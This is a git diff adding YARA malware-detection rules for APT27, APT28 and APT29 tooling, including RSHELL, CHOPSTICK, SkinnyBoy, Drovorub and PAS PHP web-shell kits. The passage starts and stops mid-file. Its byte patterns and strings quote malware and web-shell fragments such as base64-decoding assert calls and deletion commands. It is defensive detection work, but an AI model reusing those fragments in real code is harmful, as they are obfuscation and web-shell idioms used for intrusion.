+      $encrypted_pe_header_shift_195 = { bf 7c c3 10 1d 53 c3 c6 c3 c3 c3 45 c7 c3 f3 c2 c2 c3 }
+      $encrypted_pe_header_shift_196 = { c0 7d c4 11 1e 54 c4 c7 c4 c4 c4 46 c8 c4 f4 c3 c3 c4 }
+      $encrypted_pe_header_shift_197 = { c1 7e c5 12 1f 55 c5 c8 c5 c5 c5 47 c9 c5 f5 c4 c4 c5 }
+      $encrypted_pe_header_shift_198 = { c2 7f c6 13 20 56 c6 c9 c6 c6 c6 48 ca c6 f6 c5 c5 c6 }
+      $encrypted_pe_header_shift_199 = { c3 80 c7 14 21 57 c7 ca c7 c7 c7 49 cb c7 f7 c6 c6 c7 }
+      $encrypted_pe_header_shift_200 = { c4 81 c8 15 22 58 c8 cb c8 c8 c8 4a cc c8 f8 c7 c7 c8 }
+      $encrypted_pe_header_shift_201 = { c5 82 c9 16 23 59 c9 cc c9 c9 c9 4b cd c9 f9 c8 c8 c9 }
+      $encrypted_pe_header_shift_202 = { c6 83 ca 17 24 5a ca cd ca ca ca 4c ce ca fa c9 c9 ca }
+      $encrypted_pe_header_shift_203 = { c7 84 cb 18 25 5b cb ce cb cb cb 4d cf cb fb ca ca cb }
+      $encrypted_pe_header_shift_204 = { c8 85 cc 19 26 5c cc cf cc cc cc 4e d0 cc fc cb cb cc }
+      $encrypted_pe_header_shift_205 = { c9 86 cd 1a 27 5d cd d0 cd cd cd 4f d1 cd fd cc cc cd }
+      $encrypted_pe_header_shift_206 = { ca 87 ce 1b 28 5e ce d1 ce ce ce 50 d2 ce fe cd cd ce }
+      $encrypted_pe_header_shift_207 = { cb 88 cf 1c 29 5f cf d2 cf cf cf 51 d3 cf ff ce ce cf }
+      $encrypted_pe_header_shift_208 = { cc 89 d0 1d 2a 60 d0 d3 d0 d0 d0 52 d4 d0 00 cf cf d0 }
+      $encrypted_pe_header_shift_209 = { cd 8a d1 1e 2b 61 d1 d4 d1 d1 d1 53 d5 d1 01 d0 d0 d1 }
+      $encrypted_pe_header_shift_210 = { ce 8b d2 1f 2c 62 d2 d5 d2 d2 d2 54 d6 d2 02 d1 d1 d2 }
+      $encrypted_pe_header_shift_211 = { cf 8c d3 20 2d 63 d3 d6 d3 d3 d3 55 d7 d3 03 d2 d2 d3 }
+      $encrypted_pe_header_shift_212 = { d0 8d d4 21 2e 64 d4 d7 d4 d4 d4 56 d8 d4 04 d3 d3 d4 }
+      $encrypted_pe_header_shift_213 = { d1 8e d5 22 2f 65 d5 d8 d5 d5 d5 57 d9 d5 05 d4 d4 d5 }
+      $encrypted_pe_header_shift_214 = { d2 8f d6 23 30 66 d6 d9 d6 d6 d6 58 da d6 06 d5 d5 d6 }
+      $encrypted_pe_header_shift_215 = { d3 90 d7 24 31 67 d7 da d7 d7 d7 59 db d7 07 d6 d6 d7 }
+      $encrypted_pe_header_shift_216 = { d4 91 d8 25 32 68 d8 db d8 d8 d8 5a dc d8 08 d7 d7 d8 }
+      $encrypted_pe_header_shift_217 = { d5 92 d9 26 33 69 d9 dc d9 d9 d9 5b dd d9 09 d8 d8 d9 }
+      $encrypted_pe_header_shift_218 = { d6 93 da 27 34 6a da dd da da da 5c de da 0a d9 d9 da }
+      $encrypted_pe_header_shift_219 = { d7 94 db 28 35 6b db de db db db 5d df db 0b da da db }
+      $encrypted_pe_header_shift_220 = { d8 95 dc 29 36 6c dc df dc dc dc 5e e0 dc 0c db db dc }
+      $encrypted_pe_header_shift_221 = { d9 96 dd 2a 37 6d dd e0 dd dd dd 5f e1 dd 0d dc dc dd }
+      $encrypted_pe_header_shift_222 = { da 97 de 2b 38 6e de e1 de de de 60 e2 de 0e dd dd de }
+      $encrypted_pe_header_shift_223 = { db 98 df 2c 39 6f df e2 df df df 61 e3 df 0f de de df }
+      $encrypted_pe_header_shift_224 = { dc 99 e0 2d 3a 70 e0 e3 e0 e0 e0 62 e4 e0 10 df df e0 }
+      $encrypted_pe_header_shift_225 = { dd 9a e1 2e 3b 71 e1 e4 e1 e1 e1 63 e5 e1 11 e0 e0 e1 }
+      $encrypted_pe_header_shift_226 = { de 9b e2 2f 3c 72 e2 e5 e2 e2 e2 64 e6 e2 12 e1 e1 e2 }
+      $encrypted_pe_header_shift_227 = { df 9c e3 30 3d 73 e3 e6 e3 e3 e3 65 e7 e3 13 e2 e2 e3 }
+      $encrypted_pe_header_shift_228 = { e0 9d e4 31 3e 74 e4 e7 e4 e4 e4 66 e8 e4 14 e3 e3 e4 }
+      $encrypted_pe_header_shift_229 = { e1 9e e5 32 3f 75 e5 e8 e5 e5 e5 67 e9 e5 15 e4 e4 e5 }
+      $encrypted_pe_header_shift_230 = { e2 9f e6 33 40 76 e6 e9 e6 e6 e6 68 ea e6 16 e5 e5 e6 }
+      $encrypted_pe_header_shift_231 = { e3 a0 e7 34 41 77 e7 ea e7 e7 e7 69 eb e7 17 e6 e6 e7 }
+      $encrypted_pe_header_shift_232 = { e4 a1 e8 35 42 78 e8 eb e8 e8 e8 6a ec e8 18 e7 e7 e8 }
+      $encrypted_pe_header_shift_233 = { e5 a2 e9 36 43 79 e9 ec e9 e9 e9 6b ed e9 19 e8 e8 e9 }
+      $encrypted_pe_header_shift_234 = { e6 a3 ea 37 44 7a ea ed ea ea ea 6c ee ea 1a e9 e9 ea }
+      $encrypted_pe_header_shift_235 = { e7 a4 eb 38 45 7b eb ee eb eb eb 6d ef eb 1b ea ea eb }
+      $encrypted_pe_header_shift_236 = { e8 a5 ec 39 46 7c ec ef ec ec ec 6e f0 ec 1c eb eb ec }
+      $encrypted_pe_header_shift_237 = { e9 a6 ed 3a 47 7d ed f0 ed ed ed 6f f1 ed 1d ec ec ed }
+      $encrypted_pe_header_shift_238 = { ea a7 ee 3b 48 7e ee f1 ee ee ee 70 f2 ee 1e ed ed ee }
+      $encrypted_pe_header_shift_239 = { eb a8 ef 3c 49 7f ef f2 ef ef ef 71 f3 ef 1f ee ee ef }
+      $encrypted_pe_header_shift_240 = { ec a9 f0 3d 4a 80 f0 f3 f0 f0 f0 72 f4 f0 20 ef ef f0 }
+      $encrypted_pe_header_shift_241 = { ed aa f1 3e 4b 81 f1 f4 f1 f1 f1 73 f5 f1 21 f0 f0 f1 }
+      $encrypted_pe_header_shift_242 = { ee ab f2 3f 4c 82 f2 f5 f2 f2 f2 74 f6 f2 22 f1 f1 f2 }
+      $encrypted_pe_header_shift_243 = { ef ac f3 40 4d 83 f3 f6 f3 f3 f3 75 f7 f3 23 f2 f2 f3 }
+      $encrypted_pe_header_shift_244 = { f0 ad f4 41 4e 84 f4 f7 f4 f4 f4 76 f8 f4 24 f3 f3 f4 }
+      $encrypted_pe_header_shift_245 = { f1 ae f5 42 4f 85 f5 f8 f5 f5 f5 77 f9 f5 25 f4 f4 f5 }
+      $encrypted_pe_header_shift_246 = { f2 af f6 43 50 86 f6 f9 f6 f6 f6 78 fa f6 26 f5 f5 f6 }
+      $encrypted_pe_header_shift_247 = { f3 b0 f7 44 51 87 f7 fa f7 f7 f7 79 fb f7 27 f6 f6 f7 }
+      $encrypted_pe_header_shift_248 = { f4 b1 f8 45 52 88 f8 fb f8 f8 f8 7a fc f8 28 f7 f7 f8 }
+      $encrypted_pe_header_shift_249 = { f5 b2 f9 46 53 89 f9 fc f9 f9 f9 7b fd f9 29 f8 f8 f9 }
+      $encrypted_pe_header_shift_250 = { f6 b3 fa 47 54 8a fa fd fa fa fa 7c fe fa 2a f9 f9 fa }
+      $encrypted_pe_header_shift_251 = { f7 b4 fb 48 55 8b fb fe fb fb fb 7d ff fb 2b fa fa fb }
+      $encrypted_pe_header_shift_252 = { f8 b5 fc 49 56 8c fc ff fc fc fc 7e 00 fc 2c fb fb fc }
+      $encrypted_pe_header_shift_253 = { f9 b6 fd 4a 57 8d fd 00 fd fd fd 7f 01 fd 2d fc fc fd }
+      $encrypted_pe_header_shift_254 = { fa b7 fe 4b 58 8e fe 01 fe fe fe 80 02 fe 2e fd fd fe }
+      $encrypted_pe_header_shift_255 = { fb b8 ff 4c 59 8f ff 02 ff ff ff 81 03 ff 2f fe fe ff }
+
+   condition:
+      filesize < 200KB and (1 of ($encrypted_pe_header_shift_*))
+}
diff --git a/yara-Neo23x0/apt_apt27_rshell.yar b/yara-Neo23x0/apt_apt27_rshell.yar
new file mode 100644
index 0000000..25fc84e
--- /dev/null
+++ b/yara-Neo23x0/apt_apt27_rshell.yar
@@ -0,0 +1,40 @@
+
+rule APT_MAL_APT27_Rshell_Jul24 {
+   meta:		
+      sharing = "TLP:WHITE"
+      source = "BUNDESAMT FUER VERFASSUNGSSCHUTZ"
+      author = "Bundesamt fuer Verfassungsschutz, modified by Florian Roth"
+      description = "YARA rule to detect RSHELL of APT27"
+      category = "MALWARE"
+      malware = "RSHELL / SYSUPDATE"
+      reference = "https://x.com/bfv_bund/status/1811364839656185985?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
+      date = "2024-07-11"
+      hash1 = "0433edfad648e1e29be54101abaded690302dc7e49ad916cfbbddf99b3ade12c"
+      hash2 = "10bb89fdf25c88d3c5623e8d68573124c9a42549750014e3675e2ca342aeba4a"
+      hash3 = "2603e1f61363451891c97b0c4ce8acfbfb680d3df4282f9d151ecce3a5679616"
+      hash4 = "70dac42491f8f19568a5d7b1d10b29f732a88d75e7f2bfa07b23202bacadf56f"
+      hash5 = "b988a6583ce40f07e5fc8e890ae2b1c84a93db8a2e3ca8769241b94bea332a7a"
+      hash6 = "c4fe1e56f601d411e2385352606524fb8bbf773bc2ba14889a8de605c2d14da0"
+      hash7 = "c787144d285fcca8a542f7a5525a37bcd089b39068b9a4db7fe3554ee6c08301"
+      hash8 = "ddaa4d23e4651a517fffbd29f0924607ba6b6253171144da5e49237afe91666b"
+   strings:
+      $a1 = "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%" ascii
+      $a2 = "/proc/self/exe" ascii
+
+      $s1 = "HISTFILE" ascii fullword
+      $s2 = "/tmp/guid" ascii fullword
+
+      $sop1 = { e8 ?? ?? ?? ?? c7 43 04 00 00 00 00 8b 3b 85 ff 7e 2? e8 ?? ?? 0? 00 85 c0 7e 0? }
+      $sop2 = { c7 43 04 00 00 00 00 8b 3b 85 ff 7e 2? e8 ?? ?? 0? 00 85 c0 7e 0? f7 d8 }
+   condition:
+      (
+         uint32be(0) == 0x7f454c46 // Linux
+         or ( uint32be(0) == 0xcafebabe and uint32be(4) < 0x20 ) // Universal mach-O App with dont-match-java-class-file hack
+         or uint32(0) == 0xfeedface // 32-bit mach-O
+         or uint32(0) == 0xfeedfacf // 64-bit mach-O
+      )
+      and filesize < 2MB 
+      and all of ($a*)
+      and 2 of ($s*)
+      or 3 of ($s*)
+}
diff --git a/yara-Neo23x0/apt_apt28.yar b/yara-Neo23x0/apt_apt28.yar
new file mode 100644
index 0000000..fa3169b
--- /dev/null
+++ b/yara-Neo23x0/apt_apt28.yar
@@ -0,0 +1,159 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2015-06-02
+	Identifier: APT28
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT28_CHOPSTICK {
+	meta:
+		description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/v3ebal"
+		date = "2015-06-02"
+		hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
+		score = 60
+		id = "08bc4cc2-1844-5218-bb89-20a3ac70a951"
+	strings:
+		$s0 = "jhuhugit.tmp" fullword ascii /* score: '14.005' */
+		$s8 = "KERNEL32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 14405 times */
+		$s9 = "IsDebuggerPresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3518 times */
+		$s10 = "IsProcessorFeaturePresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1383 times */
+		$s11 = "TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13081 times */
+		$s13 = "DeleteFileA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1384 times */
+		$s15 = "GetProcessHeap" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5875 times */
+		$s16 = "!This program cannot be run in DOS mode." fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 20908 times */
+		$s17 = "LoadLibraryA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5461 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 722KB and all of them
+}
+
+rule APT28_SourFace_Malware1 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		score = 60
+		id = "d4275b8d-384f-58b7-bac5-05fb7db659e2"
+	strings:
+		$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "\\chkdbg.log" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 62KB and all of them
+}
+
+rule APT28_SourFace_Malware2 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		super_rule = 1
+		hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		score = 60
+		id = "8a9df742-82c1-56bb-ab70-6384403f70b5"
+	strings:
+		$s0 = "coreshell.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Applicate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule APT28_SourFace_Malware3 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		super_rule = 1
+		hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
+		hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
+		hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		score = 60
+		id = "b49843b9-3a54-5525-958e-ac545cc00bde"
+	strings:
+		$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+
+import "pe"
+
+rule APT28_SkinnyBoy_Dropper: RUSSIA {
+   meta:
+      description = "Detects APT28 SkinnyBoy droppers"
+      author = "Cluster25"
+      date = "2021-05-24"
+      reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+      hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
+      id = "ed0b2d2b-f820-57b5-9654-c24734d81996"
+   strings:
+      $ = "cmd /c DEL " ascii
+      /* $ = " \"" ascii */ /* slowing down scanning */
+      $ = {8a 08 40 84 c9 75 f9}
+      $ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff}
+   condition:
+      (uint16(0) == 0x5A4D and all of them)
+}
+
+rule APT28_SkinnyBoy_Launcher: RUSSIA {
+   meta:
+      description = "Detects APT28 SkinnyBoy launchers"
+      author = "Cluster25"
+      date = "2021-05-24"
+      reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+      hash1 ="2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
+      id = "eaf4e8e5-cbec-5000-a2ff-31d1dac4c30f"
+   strings:
+      $sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97
+      13 2C 6D 07 6F 86}
+      $l1 = "CryptGetHashParam" ascii
+      $l2 = "CryptCreateHash" ascii
+      $l3 = "FindNextFile" ascii
+      $l4 = "PathAddBackslashW" ascii
+      $l5 = "PathRemoveFileSpecW" ascii
+      $h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00
+      56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??}
+      $h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF}
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and ($sha or (all of ($l*) and all of ($h*)))
+}
+
+rule APT28_SkinnyBoy_Implanter: RUSSIA {
+   meta:
+      description = "Detects APT28 SkinnyBoy implanter"
+      author = "Cluster25"
+      date = "2021-05-24"
+      reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+      hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
+      id = "c44faf95-a64c-58f4-97d4-2fe17aefc813"
+   strings:
+      $enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D
+      85 [4] 6A ?? 50 66 [7] E8}
+      $heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?}
+      $xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 }
+   condition:
+      uint16(0) == 0x5a4d and pe.is_dll() and filesize < 100KB and $xor_cycle and $heap_ops and
+      $enc_string
+}
diff --git a/yara-Neo23x0/apt_apt28_drovorub.yar b/yara-Neo23x0/apt_apt28_drovorub.yar
new file mode 100644
index 0000000..f61c5dc
--- /dev/null
+++ b/yara-Neo23x0/apt_apt28_drovorub.yar
@@ -0,0 +1,115 @@
+ rule APT_APT28_generic_poco_openssl {
+    meta:
+        description = "Rule to detect statically linked POCO and OpenSSL libraries (COULD be Drovorub related and should be further investigated)"
+        author = "NSA / FBI"
+        reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+        date = "2020-08-13"
+        score = 50
+    strings:
+        $mw1 = { 89 F1 48 89 FE 48 89 D7 48 F7 C6 FF FF FF FF 0F 84 6B 02 00 00 48 F7 C7
+                 FF FF FF FF 0F 84 5E 02 00 00 48 8D 2D }
+
+        $mw2 = { 41 54 49 89 D4 55 53 F6 47 19 04 48 8B 2E 75 08 31 DB F6 45 00 03 75 } 
+        $mw3 = { 85C0BA15000000750989D05BC30F1F44 0000BE }
+          
+        $mw4 = { 53 8A 47 08 3C 06 74 21 84 C0 74 1D 3C 07 74 20 B9 ?? ?? ?? ?? BA FD 03 
+                 00 00 BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 E8 06 3C 01 77 2B 48 8B 1F 48 8B 73 
+                 10 48 89 DF E8 ?? ?? ?? ?? 48 8D 43 08 48 C7 43 10 00 00 00 00 48 C7 43 28 00 00 00 00 48 
+                 89 43 18 48 89 43 20 5B C3 }
+    condition:
+        all of them
+}
+
+rule APT_APT28_drovorub_library_and_unique_strings {
+    meta:
+        description = "Rule to detect Drovorub-server, Drovorub-agent, and Drovorub-client"
+        author = "NSA / FBI"
+        reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+        date = "2020-08-13"
+        score = 75
+        id = "8e010356-09c7-5897-9cbe-051cd0800502"
+    strings:
+        $s1 = "Poco" ascii wide
+        $s2 = "Json" ascii wide
+        $s3 = "OpenSSL" ascii wide 
+
+        $a1 = "clientid" ascii wide 
+        $a2 = "-----BEGIN" ascii wide 
+        $a3 = "-----END" ascii wide 
+        $a4 = "tunnel" ascii wide
+    condition:
+        (filesize > 1MB and filesize < 10MB and (uint32(0) == 0x464c457f)) and (#s1 > 20 and #s2 > 15 and #s3 > 15 and all of ($a*)) 
+}
+
+rule APT_APT28_drovorub_unique_network_comms_strings {
+    meta:
+        description = "Rule to detect Drovorub-server, Drovorub-agent, or Drovorub-client based"
+        author = "NSA / FBI"
+        reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+        date = "2020-08-13"
+        score = 75
+        id = "c6a930e8-c1c0-5d96-9051-7516df848b45"
+    strings:
+        $s_01 = "action" wide ascii
+        $s_02 = "auth.commit" wide ascii
+        $s_03 = "auth.hello" wide ascii
+        $s_04 = "auth.login" wide ascii
+        $s_05 = "auth.pending" wide ascii
+        $s_06 = "client_id" wide ascii
+        $s_07 = "client_login" wide ascii
+        $s_08 = "client_pass" wide ascii
+        $s_09 = "clientid" wide ascii
+        $s_10 = "clientkey_base64" wide ascii 
+        $s_11 = "file_list_request" wide ascii 
+        $s_12 = "module_list_request" wide ascii 
+        $s_13 = "monitor" wide ascii
+        $s_14 = "net_list_request" wide ascii 
+        $s_15 = "server finished" wide ascii 
+        $s_16 = "serverid" wide ascii
+        $s_17 = "tunnel" wide ascii
+     condition:
+        all of them
+}
+/* FPs
+48505c956c005576b1292495102a5a4d37a830dc936ce85204d2783e13082c1f
+
+rule APT_APT28_drovorub_kernel_module_unique_strings {
+    meta:
+        description = "Rule detects the Drovorub-kernel module based on unique strings"
+        author = "NSA / FBI"
+        reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+        date = "2020-08-13"
+        score = 75
+    strings:
+        $s_01 = "/proc" wide ascii
+        $s_02 = "/proc/net/packet" wide ascii 
+        $s_03 = "/proc/net/raw" wide ascii 
+        $s_04 = "/proc/net/tcp" wide ascii 
+        $s_05 = "/proc/net/tcp6" wide ascii 
+        $s_06 = "/proc/net/udp" wide ascii 
+        $s_07 = "/proc/net/udp6" wide ascii 
+        $s_08 = "cs02" wide ascii
+        $s_09 = "do_fork" wide ascii
+        $s_10 = "es01" wide ascii
+        $s_11 = "g001" wide ascii
+        $s_12 = "g002" wide ascii
+        $s_13 = "i001" wide ascii
+        $s_14 = "i002" wide ascii
+        $s_15 = "i003" wide ascii
+        $s_16 = "i004" wide ascii
+        $s_17 = "module" wide ascii
+        $s_18 = "sc!^2a" wide ascii
+        $s_19 = "sysfs" wide ascii
+        $s_20 = "tr01" wide ascii
+        $s_21 = "tr02" wide ascii
+        $s_22 = "tr03" wide ascii
+        $s_23 = "tr04" wide ascii
+        $s_24 = "tr05" wide ascii
+        $s_25 = "tr06" wide ascii
+        $s_26 = "tr07" wide ascii
+        $s_27 = "tr08" wide ascii
+        $s_28 = "tr09" wide ascii
+    condition:
+        all of them
+}
+*/
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_apt29_grizzly_steppe.yar b/yara-Neo23x0/apt_apt29_grizzly_steppe.yar
new file mode 100644
index 0000000..fefbf6c
--- /dev/null
+++ b/yara-Neo23x0/apt_apt29_grizzly_steppe.yar
@@ -0,0 +1,311 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-12-29
+   Identifier: GRIZZLY STEPPE
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule GRIZZLY_STEPPE_Malware_1 {
+   meta:
+      description = "Auto-generated rule - file HRDG022184_certclint.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/WVflzO"
+      date = "2016-12-29"
+      hash1 = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
+      id = "7239a5f3-9c29-57d7-be95-946d14039353"
+   strings:
+      $s1 = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb" fullword ascii
+      $s2 = "Repeat last find command)Replace specific text with different text" fullword wide
+      $s3 = "l\\Processor(0)\\% Processor Time" fullword wide
+      $s6 = "Self Process" fullword wide
+      $s7 = "Default Process" fullword wide
+      $s8 = "Star Polk.exe" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 4 of them )
+}
+
+rule GRIZZLY_STEPPE_Malware_2 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/WVflzO"
+      date = "2016-12-29"
+      hash1 = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
+      hash2 = "55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641"
+      id = "37cfba67-af85-5efe-9b07-9f1e5d9f9195"
+   strings:
+      $x1 = "GoogleCrashReport.dll" fullword ascii
+
+      $s1 = "CrashErrors" fullword ascii
+      $s2 = "CrashSend" fullword ascii
+      $s3 = "CrashAddData" fullword ascii
+      $s4 = "CrashCleanup" fullword ascii
+      $s5 = "CrashInit" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and $x1 ) or ( all of them )
+}
+
+rule PAS_TOOL_PHP_WEB_KIT_mod {
+   meta:
+      description = "Detects PAS Tool PHP Web Kit"
+      reference = "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity"
+      author = "US CERT - modified by Florian Roth due to performance reasons"
+      date = "2016/12/29"
+      id = "6bc75e44-7784-5e48-9bbc-052d84ebee83"
+   strings:
+      $php = "<?php"
+      $base64decode1 = "='base'.("
+      $strreplace = "str_replace(\"\\n\", ''"
+      $md5 = ".substr(md5(strrev("
+      $gzinflate = "gzinflate"
+      $cookie = "_COOKIE"
+      $isset = "isset"
+   condition:
+      uint32(0) == 0x68703f3c and
+      $php at 0 and
+      (filesize > 10KB and filesize < 30KB) and
+      #cookie == 2 and
+      #isset == 3 and
+      all of them
+}
+
+rule WebShell_PHP_Web_Kit_v3 {
+   meta:
+      description = "Detects PAS Tool PHP Web Kit"
+      reference = "https://github.com/wordfence/grizzly"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2016/01/01"
+      id = "dc5fa2c9-3e1e-594d-be4f-141e1f4915f1"
+   strings:
+      $php = "<?php $"
+      $php2 = "@assert(base64_decode($_REQUEST["
+
+      $s1 = "(str_replace(\"\\n\", '', '"
+      $s2 = "(strrev($" ascii
+      $s3 = "de'.'code';" ascii
+   condition:
+      ( ( uint32(0) == 0x68703f3c and $php at 0 ) or $php2 ) and
+      filesize > 8KB and filesize < 100KB and
+      all of ($s*)
+}
+
+rule WebShell_PHP_Web_Kit_v4 {
+   meta:
+      description = "Detects PAS Tool PHP Web Kit"
+      reference = "https://github.com/wordfence/grizzly"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2016/01/01"
+      id = "a5f915cd-b9c5-5cd3-b0a2-c15f6124737a"
+   strings:
+      $php = "<?php $"
+
+      $s1 = "(StR_ReplAcE(\"\\n\",'',"
+      $s2 = ";if(PHP_VERSION<'5'){" ascii
+      $s3 = "=SuBstr_rePlACe(" ascii
+   condition:
+      uint32(0) == 0x68703f3c and 
+      $php at 0 and
+      filesize > 8KB and filesize < 100KB and
+      2 of ($s*)
+}
+
+
+
+rule APT_APT29_wellmess_dotnet_unique_strings {
+   meta:
+      description = "Rule to detect WellMess .NET samples based on unique strings and function/variable names"
+      author = "NCSC"
+      reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+      hash = "2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41"
+      id = "7a058ec7-f795-5226-b511-ff469a969ee6"
+   strings:
+      $s1 = "HealthInterval" wide
+      $s2 = "Hello from Proxy" wide 
